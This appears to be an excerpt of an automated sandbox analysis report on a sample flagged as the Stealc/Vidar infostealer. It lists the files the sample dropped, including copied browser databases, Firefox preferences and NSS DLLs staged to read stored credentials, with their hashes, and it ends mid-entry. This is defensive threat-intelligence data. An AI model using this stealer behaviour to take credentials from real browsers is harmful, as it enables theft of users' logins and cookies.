	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	jqLt8WnO6C.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	L0ad3r.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Loader.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	jqLt8WnO6C.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAEBAKKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFBKKFBAEGDHJJJJKFBKFHCAFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFHIIJDBKEGIDHIDAFCFBGHIJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHJECFCGHIDGHIDHDHIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDBAKKKFBGDHJKFHJJJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IECGIEBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJDBAAEGDBKKECBGIJEBGDAEBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KECGDBFCBKFIDHIDHDHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KFBGCAKFHCFHJKECFIIDAEHJDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: L0ad3r.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Loader.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: jqLt8WnO6C.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: L0ad3r.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Loader.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: jqLt8WnO6C.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
